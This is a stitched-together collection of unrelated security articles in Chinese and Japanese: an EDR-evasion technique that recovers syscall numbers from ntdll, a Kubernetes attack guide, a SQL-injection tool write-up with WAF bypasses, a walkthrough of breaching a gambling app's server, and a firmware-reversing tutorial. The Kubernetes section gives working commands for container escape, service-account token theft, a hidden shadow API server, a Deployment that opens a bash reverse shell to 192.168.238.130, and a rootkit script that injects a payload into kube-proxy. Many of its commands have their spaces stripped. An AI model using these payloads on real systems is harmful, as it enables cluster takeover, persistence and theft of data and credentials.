為在成熟環境中運行而設計的Post-exploitation工具經常需要繞過在目標上運行的終端檢測和響應(EDR) 軟件。 EDR 經常通過掛鉤Windows API 函數進行操作,尤其是那些由ntdll 導出的函數(特別是基於Nt/Zw*() 系統調用的API 函數)。由於在正常情況下與底層操作系統的所有交互都將通過這些函數,這樣在檢測不需要的應用程序行為時就提供了一個理想的攔截點。

之前MDSec 已經在《绕过用户模式挂钩和直接调用红队的系统调用》 中討論了繞過這些掛鉤的各種方法,但是由於EDR 經常與攻擊者鬥法,因此EDR的檢測技術只有實時更新,以檢測識別用於實現繞過掛鉤的新技術。

在Nighthawk C2的開發過程中,MDSec 偶然發現了一種新的技術,用於識別某些系統調用的Syscall Number,然後可以使用該技術將ntdll 的新副本加載到內存中,從而允許剩餘的系統調用在不觸發任何已安裝的函數掛鉤的情況下成功讀取。該技術涉及濫用新的Windows 10 並行加載程序在進程初始化期間早期生成的某些系統調用的副本。

Windows 10 並行加載程序從Windows 10 開始,微軟引入了並行DLL 加載的概念。並行加載允許進程執行遞歸映射通過進程模塊導入表導入的DLL 的過程,而不是在單個線程上同步,從而在初始應用程序啟動期間提高性能。

當我們試圖理解為什麼在一個簡單的單線程應用程序中會創建三到四個額外的線程時,我們第一次注意到並行加載程序的存在。檢查這些線程可以確定它們是線程池的工作線程。

通過上網搜索其中原委時,有一篇來自2017 年黑莓的Jeffery Tang 的博客文章以及來自用戶RbMm的回答幫助了我,他在提供偽代碼以幫助闡明該過程中涉及的步驟方面也做得非常出色。這兩篇文章清楚地說明了背後的運行原因,如果對進一步了解並行加載程序工作原理有興趣,我推薦這兩篇文章。

在閱讀StackOverflow答案時,有一件事立即引起了我的注意,那就是如果發現有幾個核心低級別本機API被繞過,並行加載程序就會使並行DLL加載短路,並退回到同步模式。這些API參與了從磁盤打開和映射映像的過程。

以下是用戶RbMm的部分答复,我們將在下面進行詳細分析:

1.png

上面函數LdrpDetectDetour()的偽代碼本質上是檢查5個本機API函數NtOpenFile(), NtCreateSection(), ZwQueryAttributeFile(),ZwOpenSection()和ZwMapViewOfFile(),並確定這些字節是否已經從存儲在ntdll中的LdrpThunkSignature數組中已知的正確字節被修改。

通過對LdrpDetectDetour() 函數的快速反彙編確認上述偽代碼中描述的行為仍然存在,但應該提到的是,該函數現在額外地驗證了另外27個本機API的完整性,但仍然只是比較了詳細的5個函數的精確的系統調用存根。

用IDA Pro 檢查ntdll 發現LdrpDetectDetour() 函數是從兩個地方調用的:LdrpLoadDllInternal()(直接從LdrpLoadDll() 調用)和LdrpEnableParallelLoading()(在LdrpInitializeProcess() 的後期調用)。由於LdrpDetectDetour() 函數配置了一個全局變量,該變量可以停止並行加載並強制進一步加載同步發生,並且許多安裝了detours 的DLL(例如EDR 用戶空間組件)在加載到進程時立即執行此操作,它在加載每個新的DLL 依賴項時重複調用detour 檢測函數是有意義的。

然而,對這一過程的研究又引發了另一個問題,已知的5個本機API函數的已知良好存根從何而來?最初以為系統調用存根將在代碼生成期間的編譯時被硬編碼,但是靜態檢查LdrpThunkSignature 數組表明情況並非如此,因為在映射ntdll 之前數組沒有初始化,原因是數組駐留在未初始化的.data 中部分。

LdrpThunkSignature標識的數據交叉引用了另一個數組的使用,在LdrpCaptureCriticalThunks(),這個函數反過來調用早期LdrpInitializeProcess()之前進口依賴加載,因此第三方模塊安裝的detours 可能已加載到進程中。

快速手動反編譯LdrpCaptureCriticalThunks() 會顯示類似於以下偽代碼的實現:

2.png

從上面可以清楚地看到,LdrpCaptureCriticalThunks()將五個關鍵函數的每個系統調用存根的前16個字節從每個函數中復製到LdrpThunkSignature數組中。

從LdrpThunkSignature中恢復系統調用具有post-exploitation工具開發經驗的讀者無疑會收穫頗多,有了這五個關鍵函數和它們的Syscall Number(直接從LdrpThunkSignature 讀取)的知識,我們有足夠的本機API 函數能夠使用系統調用從磁盤讀取ntdll 的新副本。

由於LdrpThunkSignature數組不是由ntdll導出的,我們需要在ntdll .data節中找到它。該數組可以通過公共系統調用序言的出現被識別出來:

3.png

下面的代碼能夠使用這個信息來恢復所需的系統調用(MDSec 提供的用於恢復所有系統調用代碼段):

4.png

可以在MDSec ActiveBreach GitHub 存儲庫中找到使用上述方法從磁盤讀取ntdll 來恢復所有系統調用的實現。

這個實現當然是一個PoC,從opsec 的角度來看並不是最優的,例如,系統調用存根是用使用VirtualAlloc() 創建的RWX 內存分配的。

隨著越來越多企業開始上雲的步伐,在攻防演練中常常碰到雲相關的場景,例如:公有云、私有云、混合雲、虛擬化集群等。以往滲透路徑是「外網突破- 提權- 權限維持- 信息收集- 橫向移動- 循環收集信息」,直到獲得重要目標系統。但隨著業務上雲以及虛擬化技術的引入改變了這種格局,也打開了新的入侵路徑,例如:

l通過虛擬機攻擊雲管理平台,利用管理平台控制所有機器

l通過容器進行逃逸,從而控制宿主機以及橫向滲透到K8s Master節點控制所有容器

l利用KVM-QEMU/執行逃逸獲取宿主機,進入物理網絡橫向移動控制雲平台

目前互聯網上針對雲原生場景下的攻擊手法零零散散的較多,僅有一些廠商發布過相關矩陣技術,但沒有過多的細節展示,本文基於微軟發布的Kubernetes威脅矩陣進行擴展,介紹相關的具體攻擊方法。

图片1.png

紅色標誌是攻擊者最為關注的技術點。

初始訪問lAPI Server未授權訪問

lkubelet未授權訪問

lDocker Daemon 公網暴露

lK8s configfile 洩露

API Server未授權訪問API Server作為K8s集群的管理入口,通常使用8080 和6443 端口,其中8080 端口無需認證,6443 端口需要認證且有TLS 保護。如果開發者使用8080 端口,並將其暴露在公網上,攻擊者就可以通過該端口的API,直接對集群下髮指令。

另一種場景是運維人員配置不當,將'system:anonymous'用戶綁定到'cluster-admin'用戶組,從而使6443端口允許匿名用戶以管理員權限向集群內部下髮指令。

#查看pods

https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500

#創建特權容器

https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444

{'apiVersion':'v1','kind':'Pod','metadata':{'annotations':{'kubectl.kubernetes.io/last-applied-configuration':'{\'apiVersion\':\'v1\',\'kind\':\'Pod\',\'metadata\':{\'annotations\'33 360{},\'name\':\'test-4444\',\'namespace\':\'default\'},\'spec\':{\'containers\':[{\'image\':\'nginx:1.14.2\',\'name\':\'test-4444\',\'volumeMounts\':[{\'mountPath\':\'/host\',\'n ame\':\'host\'}]}],\'volumes\':[{\'hostPath\':{\'path\':\'/\',\'type\':\'Directory\'},\'name\':\'host\'}]}}\n'},'name':'test-4444','namespace':'default'},'spec':{'containers': [{'image':'nginx:1.14.2','name':'test-4444','volumeMounts':[{'mountPath':'/host','name':'host'}]}],'volumes':[{'hostPath':{'path':'/','type':'Directory'},'name':'host'}]}}

#執行命令

https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami創建特權容器詳細解釋:

图片2.png

創建特權容器

K8s configfile 洩露K8s configfile作為K8s集群的管理憑證,其中包含有關K8s集群的詳細信息(API Server、登錄憑證)。

如果攻擊者能夠訪問到此文件(如辦公網員工機器入侵、洩露到Github 的代碼等),就可以直接通過API Server 接管K8s 集群,帶來風險隱患。

用戶憑證保存在kubeconfig 文件中,kubectl 通過以下順序來找到kubeconfig 文件:

1.如果提供了--kubeconfig參數,就使用提供的kubeconfig 文件。

2.如果沒有提供--kubeconfig 參數,但設置了環境變量$KUBECONFIG,則使用該環境變量提供的kubeconfig 文件。

3.如果以上兩種情況都沒有,kubectl 就使用默認的kubeconfig 文件$HOME/.kube/config。

拿到K8s configfile完整利用流程:

K8s configfile -- 創建後門Pod/掛載主機路徑-- 通過Kubectl進入容器-- 利用掛載目錄逃逸。

#Linux安裝kubectl

curl-LO'https://dl.k8s.io/release/$(curl-L-shttps://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl'

sudoinstall-oroot-groot-m0755kubectl/usr/local/bin/kubectl

#內容放入config、或指定選項,需要修改Server地址

kubectl--kubeconfigk8s.yaml

#獲取已接取的鏡像

kubectlgetpods--all-namespaces--insecure-skip-tls-verify=true-ojsonpath='{.image}'|tr-s'[[:space:]]''\n'|sort|uniq-c

#創建Podpod.yaml,將宿主機根目錄掛載host文件

apiVersion:v1

kind:Pod

metadata:

name:test-444

spec:

containers:

-name:test-444

image:nginx:1.14.2

volumeMounts:

-name:host

mountPath:/host

volumes:

-name:host

hostPath:

path:/

type:Directory

#在default命名空間中創建pod

kubectlapply-fpod.yaml-ndefault--insecure-skip-tls-verify=true

#進入容器中

kubectlexec-ittest-444bash-ndefault--insecure-skip-tls-verify=true

#切換bash,逃逸成功

cd/host

chroot./bashDocker Daemon 公網暴露Docker以C/S模式工作,其中docker daemon服務在後台運行,負責管理容器的創建、運行和停止操作。

在Linux主機上,docker daemon監聽在/var/run/docker.sock中創建的unix socket,2375端口用於未認證的HTTP通信,2376用於可信HTTPS通信。

在最初版本安裝Docker時默認會把2375端口對外開放,目前默認只允許本地訪問。

管理員開啟遠程訪問的配置如下:

#開啟遠程訪問

vim/lib/systemd/system/docker.service

ExecStart=/usr/bin/dockerd-Hfd://-Htcp://0.0.0.0:2375-containerd=/run/containerd/containerd.sockDocker Daemon未授權訪問的檢測與利用:

#探測是否訪問未授權訪問

curlhttp://192.168.238.129:2375/info

docker-Htcp://192.168.238.129:2375info

#推薦使用這種方式,操作方便。

exportDOCKER_HOST='tcp://192.168.238.129:2375'Docker Daemon未授權實戰案例:

图片3.png

執行l利用Service Account

nCURL方式請求

nkubectl方式請求

利用Service AccountK8s集群創建的Pod中,容器內部默認攜帶K8s Service Account的認證憑據,路徑為:(/run/secrets/kubernetes.io/serviceaccount/token)

如運維配置不當沒有設置RBAC(基於角色的訪問控制),那麼攻擊者就可以通過Pod獲取到Token進行API Server認證。

在較低版本v1.15.11中,Kubernetes默認是不會開啟RBAC控制,從1.16版本起,默認啟用RBAC訪問控制策略。從1.18開始,RBAC已作為穩定的功能。

下面就是利用Pod中的Token訪問API Server的一種場景:

#指向內部API服務器主機名

exportAPISERVER=https://${KUBERNETES_SERVICE_HOST}

#設置ServiceAccount令牌的路徑

exportSERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount

#讀取pods命名空間並將其設置為變量。

exportNAMESPACE=$(cat${SERVICEACCOUNT}/namespace)

#讀取ServiceAccount不記名令牌

exportTOKEN=$(cat${SERVICEACCOUNT}/token)

#CACERT路徑

exportCACERT=${SERVICEACCOUNT}/ca.crt

執行以下命令查看當前集群中所有Namespaces。

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces

#寫入yaml,創建特權Pod

catnginx-pod.yamlEOF

apiVersion:v1

kind:Pod

metadata:

name:test-444

spec:

containers:

-name:test-444

image:nginx:1.14.2

volumeMounts:

-name:host

mountPath:/host

volumes:

-name:host

hostPath:

path:/

type:Directory

EOF

#創建pod

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-k${APISERVER}/api/v1/namespaces/default/pods-XPOST--header'content-type:application/yaml'--data-binary@nginx-pod.yaml

#查看信息

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces/default/pods/nginx

#執行命令

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=lscommand=-l

or

api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=lscommand=-lcontainer=nginxstdin=truestdout=truetty=true持久化lDaemonSets、Deployments

lShadow API

lRootkit

lcronjob持久化

Deployment創建容器時,通過啟用DaemonSets、Deployments,可以使容器和子容器即使被清理掉了也可以恢復,攻擊者經常利用這個特性進行持久化,涉及的概念有:

lReplicationController(RC)

ReplicationController確保在任何時候都有特定數量的Pod 副本處於運行狀態。

lReplication Set(RS)

Replication Set簡稱RS,官方已經推薦我們使用RS和Deployment來代替RC了,實際上RS和RC的功能基本一致,目前唯一的一個區別就是RC只支持基於等式的selector

lDeployment

主要職責和RC一樣,的都是保證Pod的數量和健康,二者大部分功能都是完全一致的,可以看成是一個升級版的RC控制器

官方組件kube-dns、kube-proxy也都是使用的Deployment來管理

這裡使用Deployment來部署後門

#dep.yaml

apiVersion:apps/v1

kind:Deployment#確保在任何時候都有特定數量的Pod副本處於運行狀態

metadata:

name:nginx-deploy

labels:

k8s-app:nginx-demo

spec:

replicas:3#指定Pod副本數量

selector:

matchLabels:

app:nginx

template:

metadata:

labels:

app:nginx

spec:

hostNetwork:true

hostPID:true

containers:

-name:nginx

image:nginx:1.7.9

imagePullPolicy:IfNotPresent

command:['bash']#反彈Shell

args:['-c','bash-i/dev/tcp/192.168.238.130/424201']

securityContext:

privileged:true#特權模式

volumeMounts:

-mountPath:/host

name:host-root

volumes:

-name:host-root

hostPath:

path:/

type:Directory

#創建

kubectlcreate-fdep.yamlShadow API Server如果部署了一個shadow apiserver,那麼該apiserver具有和集群中現在的apiserver一致的功能。同時開啟了全部k8s權限,接受匿名請求且不保存審計日誌,這將方便攻擊者無痕蹟的管理整個集群以及進行後續滲透行動。

Shadow API Server的配置與利用:

配置文件路徑:

/etc/systemd/system/kube-apiserver-test.service

#一鍵部署Shadowapiserver

./cdkrunk8s-shadow-apiserverdefault

#一鍵部署將在配置文件中添加瞭如下選項:

--allow-privileged

--insecure-port=9443

--insecure-bind-address=0.0.0.0

--secure-port=9444

--anonymous-auth=true

--authorization-mode=AlwaysAllow

#kcurl訪問與利用

./cdkkcurlanonymousgethttps://192.168.1.44:9443/api/v1/secretsRootkit這裡介紹一個k8s的rootkit,k0otkit 是一種通用的後滲透技術,可用於對Kubernetes 集群的滲透。使用k0otkit,您可以以快速、隱蔽和連續的方式(反向shell)操作目標Kubernetes 集群中的所有節點。

K0otkit使用到的技術:

lDaemonSet和Secret資源(快速持續反彈、資源分離)

lkube-proxy鏡像(就地取材)

l動態容器注入(高隱蔽性)

lMeterpreter(流量加密)

l無文件攻擊(高隱蔽性)

#生成k0otkit

./pre_exp.sh

#監聽

./handle_multi_reverse_shell.sh

k0otkit.sh的內容複製到master執行:

volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/containers:/{printNR}')

volume_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/volumes:/{printNR}')

image=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|grep'image:'|awk'{print$2}')

#createpayloadsecret

catEOF|kubectl--kubeconfig/root/.kube/configapply-f-

apiVersion:v1

kind:Secret

metadata:

name:$secret_name

namespace:kube-system

type:Opaque

data:

$secret_data_name:N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA.

#injectmaliciouscontainerintokube-proxypod

kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml\

|sed'$volume_line_numa\\\\\\-name:$volume_name\nhostPath:\npath:/\ntype:Directory\n'\

|sed'$ctr_line_numa\\\\\\-name:$ctr_name\nimage:$image\nimagePullPolicy:IfNotPresent\ncommand:[\'sh\']\nargs:[\'-c\',\'echo\$$payload_name|perl-e'my\$n=qq();my\$fd=syscall(319,\$n,1);open(\$FH,qq(=).\$fd);sele ct((select(\$FH),\$|=1)[0]);print\$FHpackq/H*/,my\$pid=fork();if(0!=\$pid){wait};if(0==\$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\']\nenv:\n-name:$payload_name\nvalueFrom:\nsecretKeyRef:\nname:$secret_name\n

一些朋友在群里经常遇到sql注入的问题,有时候有waf、有时候是盲注、有时候不知道如何下手? 今天分享一款工具,名字是超级注入工具

下载地址: https://github.com/shack2/SuperSQLInjectionV1

案例1:  带waf的盲注

bn1pbf51vve14839.png

如下图,单引号报错,而且有报错回显,这种情况利用就是典型的布尔盲注,只要我们能在后面构造一个 and 1=1 或者 or 1=1这种语句,就能出数据

le40atl543a14842.png

这里是mysql的数据库,通常借助if函数来布尔注入,waf通常不拦单个if(),但会拦if(1,1,1)这种,如果拦了,可以把1替换成11-10,2替换成12-10这种

lnqmkwreo0n14843.png

 

 

 ltc1zpnijl014844.png

然后,超级注入工具一把梭就行了,

q21cx0rq5k414847.png

绕过waf正则就下面这种,比较简单

 

 chye2iywk0w14848.png

案例2:

  案例1构造的and是为了超级注入工具去识别页面返回的内容,去判断出 1=1正确的页面字段和1=2错误页面的字段,正常工具是识别不到注入点的,所以你要指定字段,给工具一个布尔注入的依据!

再来看一个例子,希望你能理解我的意思,,

如下图,还是mysql,成功构造出一个if

4hhmflybpiz14853.png

 

 ycokfkwuvyq14855.png

报文贴入超级注入工具,这款工具测试盲注只会测试1=1和1=2,所以,在if的第一个位置设置payload,看右下角的框,已经识别到正确页面的回显值,那后面,数据就出来了!

4etusy13yfh14860.png

案例3: 

这里提供一个mssql类型的,

也就是Sql-server,站点存在waf,测试oR 1=1 和 1=2这种不拦截,利用1=1这里构造下数据包,sql注入工具就能识别到布尔值了,

4obgzzvtj4k14863.png

后面就无脑出数据了,

gjo5mcjpy5t14866.png

 

 

原文连接:https://mp.weixin.qq.com/s/jrv1ZLjZ3IbtloRCXWDo-Q



0x01準備ツールこの浸透は、主にAndroidアプリを対象としています。ほうれん草アプリのバックエンドサーバーは海外であり、プラットフォームには多くの違法なギャンブル関連のミニギャンブルゲームが含まれています。

图片

1. Thunderbolt Androidエミュレーター。ギャンブルWebサイトのインストールプログラムを実行するために使用されます。

2。パケットキャプチャツールフィドラー(またはバープスーツ、ワイレシャーク)を使用して、トラフィックパケットをキャッチしてウェブサイトのバックエンドサーバーアドレスを見つけます。

3。Sublist3r、中国のアリの剣、その他の従来の浸透ツール。

0x02情報収集1。サーバーアドレスを見つけます。ネットワークほうれん草アプリのサーバーアドレスのトラフィックパケットキャプチャ分析。 Fiddlerを使用してAndroidエミュレータートラフィックをつかみ、分析を通じてアプリバックエンドWebサイトアドレスを取得します:http://****。com。また、BPまたはWiresharkツールを使用してパッケージをキャッチすることもできます。また、多くのオンラインチュートリアルがあります。

图片

ドメイン名「****。com」はパケットキャプチャにあり、ターゲットサーバーIPアドレスが見つかりました:x.x.x.x.x.

图片

2。サブドメイン名を取得します。

sublist3r.pyを使用してドメイン名を収集します。

python sublist3r.py -d xxx.com -o 1.txtいくつかのサブドメインが見つかりましたが、テストではブレークスルーは見つかりませんでした

0x03浸透プロセス1。HTML5ページを登録してログインして検出します。アプリページに登録してログインし、アドレスをクロールし、クロールをアドレスに持ち込み、ブラウザにログインします。アプリページは純粋なHTML5ページであることがわかりました。これにより、ブラウザで動作する方が便利です。

图片

2。フロントデスクアカウントの注入は失敗しました。テスト番号を使用して登録し、パッケージをつかんでパッケージを変更します。注入点を見つけますが、注入は失敗しました。

图片

3.登録されたユーザーにログインして、アップロードの脆弱性を見つけます。ユーザーブラウジング機能には、個人センターにIDレビュー機能があります。ユーザー情報を確認するには、ID情報をアップロードする必要があります。このアップロード関数は、トロイの木馬のアップロードポイントを隠すことができると推測されます。

图片

4.ファズテストをアップロードした後、バックエンドプログラムはMIMEおよびファイルヘッダーのコンテンツのみを検証します。ファイルタイプのバイパスメソッドを変更し、Picture Horseを直接アップロードしてMIMEタイプを変更し、それを正常にアップロードしてシェルアドレスを取得します。

图片

5.「中国のアリの剣」を使用して、トロイの木馬に正常に接続し、サーバーWebサイトのソースコードでデータベース構成ファイルを分析して見つけ、データベースに正常に接続することです。

图片

6.チャイニーズアリの剣を使用してデータベースに正常に接続し、アカウントとパスワードのハッシュ値を取得します。

图片

7.ファイルディレクトリ構造分析を介して、背景は単一のエントリファイルであり、パラメーターs=管理者は背景に正常にジャンプし、データベースを介してバックエンドアカウントのハッシュ値を復号化し、バックグラウンドに正常にログインします。

图片

管理者のバックエンド許可を取得することにより、同じ日にウェブサイト上の登録ユーザーの数を把握でき、ギャンブルのオッズの数は86でしたが、資本の流れは542,000元でした。管理者ログインログの観点から、メインのログインIPはフィリピン、香港、広州、ベトナムおよびその他の場所で配布されています。

图片

ユーザーログインログレコードとデータには、ユーザーのID、ログインIP、携帯電話番号、ログイン時間、その他の情報が含まれます。

图片

ユーザーベットの記録、データにはメンバーID、賭け金額、累積レベルギフトなどが含まれます。

图片

0x04ホール掘削方法の概要1。注入を見つけて、データベースユーザーの権限とサイトライブラリが同じサーバーであるかどうかに注意してください。

2。さらなる攻撃のためにバックグラウンドを入力する目的でXSSを見つけます。

3.アップロード、アプリケーションリンク、メンバーアバター、いくつかの機密ページなど、アップロードできるページを見つけて、検証方法をバイパスできるかどうかを確認し、サーバーの解析特性と組み合わせることができるかどうかを確認します。

4.ダウンロードを見つけて、記事の最後にあるWebサイトのダウンロード列または添付ファイルリンクにダウンロードする不正ファイルがあるかどうかをテストします。

5.編集者、典型的なeweditors、fckeditorsなどを見つけます。

6.可能なバックグラウンド管理プログラムを見つけて、パスワードが弱いことを試してみてください

元のリンクから転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247485589Idx=1SN=F4F644EA923675C425F1DE9E4E287FB07CHKK SM=CE67A20CF9102B1A1A171041745BD7C243156EAEE575B44444444444D325E2CD2D9F72B2779CF01SCENE=21#WECHAT_REDIRECT

在本文中,我們將以ANYTONE 878UVII對講機中的固件為例,為大家演示如何對ARM固件映像進行逆向分析。不過,本文中的大部分內容,對於ARM架構來說都是通用的。

本文假設讀者已經熟悉IDA Pro,並且至少分析過一些普通的二進製文件。如果您還不熟悉IDA,只需在網上搜索一下,就能找到許多非常優秀的入門教程,大家可以先通過它們來掌握相關的基礎知識。

固件映像就本文來說,我們只需IDA Pro和ANYTONE 878UVII對講機的固件映像就能搞定我們的實驗。並且,所需的映像還可以從分銷商網站下載。實際上,下載哪個版本並不重要,但本文是將以2.04版本為例進行介紹。

1.png

在下載的更新包中,我們可以找到FW文件夾,其中包含三個文件:CDI、SPI和CDD文件。其中,CDD是最大的文件,它實際上就是我們要分析的固件映像。

這次我們的運氣不錯,因為這個固件映像並沒有加密,否則,事情就會麻煩一些。它只是內部閃存中的映像,甚至連文件頭都沒有。並且,該文件的元數據被拆分為單獨的文件。所以,我們可以直接在IDA Pro中加載CDD文件。

技術背景ANYTONE 878系列對講機使用的是GigaDevice GD32 ARM Cortex-M4微控制器:通過拆開對講機,我們就能看到這些芯片的型號。

除了拆對講機外,實際上還有另一種更方便的方法:查詢FCC。如果您的設備符合FCC的要求,網上應該有關於它的公開信息。這時,我們可以直接在FCC或獨立的數據庫中搜索製造商的信息。大多數情況下,我們會找到一份帶有“內部照片”的文件。這個文件通常能夠提供我們感興趣的信息,比如芯片型號等,這樣,我們就不用拆機了。

1.png

重要的是,我們建議大家下載CPU的數據表,並保存起來供後面使用:後面步驟中需要設置的參數,都可以從中找到。

關於CPU的相關設置首先要做的是,把CDD拖到打開的IDA Pro窗口中,或者通過文件菜單打開它。 IDA會檢測出這是一個二進製文件。然後,將“Processor type”指定為“ARM little-endian”,具體如下圖所示。

1.png

現在,先別按“Ok”按鈕,因為還要對處理器選項進行一些設置。我們知道,這種設備使用的處理器是基於ARMv7E-M架構的。因此,我們必須對處理器選項做相應的修改。最佳設置如下圖所示;為此,需要按下“Processor options”菜單中的“Edit ARM architecture Options”按鈕,這樣就可以找到中間的窗格了。

1.png

由於這個項目與Thumb指令集高度相關,所以也建議在“ARM specific options”中勾選“No automatic ARM THUMB switching”選項。雖然這一點並沒有顯示在上面的截圖中,但對本項目來說的確是一個非常有用的設置。

加載映像現在,我們已經完成了基本的CPU設置。接下來,我們需要將加載的固件映像重新定位到正確的偏移量處。這個固件映像將被加載到IDA數據庫的ROM部分。由於CPU不會從文件中的0x00處開始加載映像,所以,我們必須重新定位。如果跳過這一步,交叉引用將被破壞,反彙編文件將無法正常工作。我們的目標設備中使用的ARM CPU將要求映像從偏移量0x8004000處開始。這裡其實就是映射到物理ROM的內存位置,所以,我們需要將文件映射到這個地址。

在單擊“Load new file”對話框中的Ok按鈕之後,將會出現如下所示的對話框。通常情況下,RAM的大小和ROM的大小並不需要調整。它們現在已經正確地自動填充好了。

1.png

接下來要做的事情,就是創建一個RAM分區。為此,可以勾選“Create RAM section”,分配的RAM將從0x20000000位置開始,長度為0x17FFF。

如何找到正確的內存偏移量如果讀者是第一次接觸這方面的內容,通常會有這樣的疑問:這些值是如何確定的?答案很簡單,我們可以從之前下載的數據手冊中找到它們。

從第17頁的內存映射部分,我們可以找到主閃存(固件文件)的加載地址。而在第16頁中,我們可以找到SRAM偏移量和這段內存的長度。

1.png

很簡單吧?上面所做的只是將文件/映像重新定位到從我們的數據表中獲取的正確位置。關於主閃存有一個小技巧,第一個0x4000似乎是由引導程序獲取的,所以,我們的二進製文件必須位於0x8004000處。

二進製文件的結構對於第一次使用IDA的讀者來說,感覺可能非常奇怪:它並沒有像其他軟件一樣進行自動分析,也沒有展示程序代碼,相反,它只是給出了大量的十六進製字符。難道是我們哪裡做錯了嗎?很可能不是。如果您正在使用IDA Pro分析固件映像,這是非常正常的現象。這裡的難點在於,我們必須自己從頭開始進行分析。

1.png

但這也沒有想像的那麼難。首先,讓我們考察文件的開頭位置。這是ARM CPU開始執行代碼的地方。在這個偏移量處,一個被稱為向量表的結構被定位,它在ARM Cortex通用用戶指南中有很好的詳細描述。

1.png

正如我們在用戶指南的圖形中所看到的,偏移量0x0000(0x08004000)處包含初始堆棧指針。 CPU將在這個地址加載接下來的四個字節,並將其用作指向未來堆棧的指針。

復位處理程序接下來的字節是各種處理程序,最重要的是複位處理程序(reset handler)。它正是CPU要啟動或重新啟動時將會跳轉到的地方。

1.png

它又是一個4字節的地址,對於我們的映像來說,這個地址很容易解析。正如鍊接的ARM用戶指南文章所告訴我們的,如果地址的最低有效位為1,則處理程序為Thumb。

在我們的例子中,該地址的最後一個字節是0xF9,二進制形式為11111001B。我們可以看到,這裡的最低有效位確實是1。因此,我們需要將復位處理程序的入口點改為Thumb。實際上,復位處理程序的實際偏移量也由於該位的值而移動了一個字節。

0xF9=11111001b (with Thumb indicator)

0xF8=11111000b (without)

單擊這個偏移量,就會跳轉到復位處理程序的地址減1個字節的地方。現在,請按“Alt+G”,這時會打開一個對話框,我們需要將下面的部分定義為Thumb(CODE16)。

1.png

這個項目主要涉及Thumb指令集,因此,您也可以從ROM段的第一個字節開始使用Thumb代碼。請記住,這一點並非適用於所有的ARM項目。但對於這個項目來說,這是沒問題的。

將當前偏移量改為CODE16後,只需按“C”,就能在該偏移量處創建代碼了。現在,我們就應該可以看到復位處理程序的代碼了。

1.png

查找其他代碼和字符串上面介紹的方法雖然能用,但是通過手動方式來創建所有的代碼是相對繁瑣的。別擔心,我們可以藉助於腳本來完成這些任務。實際上,Maddie Stone已經為IDA Pro創建了許多非常方便的腳本,能夠給我們帶來極大的便利。

由於她的腳本不能用於較新的IDA版本(在寫這篇文章時,最新的版本為7.7),所以,我們專門把適用於IDA 7.x版本的腳本上傳到了Github上,讀者可以從https://github.com/alexander-pick/IDAPythonEmbeddedToolkit下載。為了支持基於ARM的項目,我已經對這些代碼做了相應的處理。

首先,我們可以使用腳本define_code_functions.py,在0x08004000到0x080963DC大致範圍內創建代碼。如果腳本詢問是否要撤銷現有的代碼,請選擇No。

IDA Pro應該可以正常工作了,此時的ROM部分應該開始變得更有趣了。

1.png

接下來,我們可以使用make_strings.py腳本,在ROM的其餘部分創建字符串。這時,你會在其中發現許多我們感興趣的字符串。

關於字符串引用分析這個固件時,我們會發現一個奇怪的現象。由於ANYTONE的開發人員為多國語言創建了固件,所以,他們使用了引用表。因此,這可能導致我們會遺漏某些字符串的引用。之所以會發生這種情況,是因為這些字符串是根據選擇的語言來動態加載的。遺憾的是,基於IDA的靜態分析是無法解決這個問題的。

不過,引導過程中的一些字符串是直接嵌入的,所以它們解析起來問題不大。因此,我們可以從這些字符串開始下手。

1.png

為了做進一步的分析,我們需要能夠識別一些基本的OS函數,即操作嵌入字符串的函數,比如“print”或“read”函數等。當然,類似“memcpy”這樣的函數在各種操作系統中都是非常常見的。

非常值得注意的是“print_string”函數(一旦識別出來,我就把它重命名為這個名字)。它接受一些坐標和一個字符串作為參數,並將字符串顯示在屏幕上給定的位置處。這個函數在啟動菜單中被大量使用。

從固件鏡像中的字符串可以識別出設備使用的RTOS(實時操作系統)是μC/OS-II。 μC/OS-II是一個用ANSI C編寫的免費實時操作系統。關於該系統的進一步介紹,以及相關文檔,讀者可以在這裡找到;而相關代碼則可以從這裡下載。感興趣的讀者可以參考這些資料,它們應該對您有很大的幫助。

I/O和外圍設備像這樣基於ARM的CPU通常使用特殊的內存區域來處理地址總線、GPIO、I/O或簡單的定時器和時鐘,具體請參閱數據表。實際上,在第14頁中,大家可以找到我們用來指定加載偏移量的內存映射。該映射還包含要添加到數據庫中的特殊內存區域。

打開IDA中的內存區域視圖(segments view)並將它們添加到數據庫中,結果應該與下圖類似。如果你想偷懶,則可以使用這個IDC(https://github.com/alexander-pick/useful-script-and-code/blob/master/GD32F303xx_segments.idc)來完成這個過程。

1.png

現在,請重新運行自動分析(Options - General - Reanalyse program)以創建交叉引用。

一旦你完成了上面的步驟,就可以查看感興趣的內存區域,看看是否有對它們的交叉引用。這些可以幫助您找到使用特定總線、GPIO或I/O的函數。

如果您查找操作UART的函數,只需檢查UART區域,就會找到對它的引用。這在沒有或只有很少字符串作為引用的情況下是特別有用的。

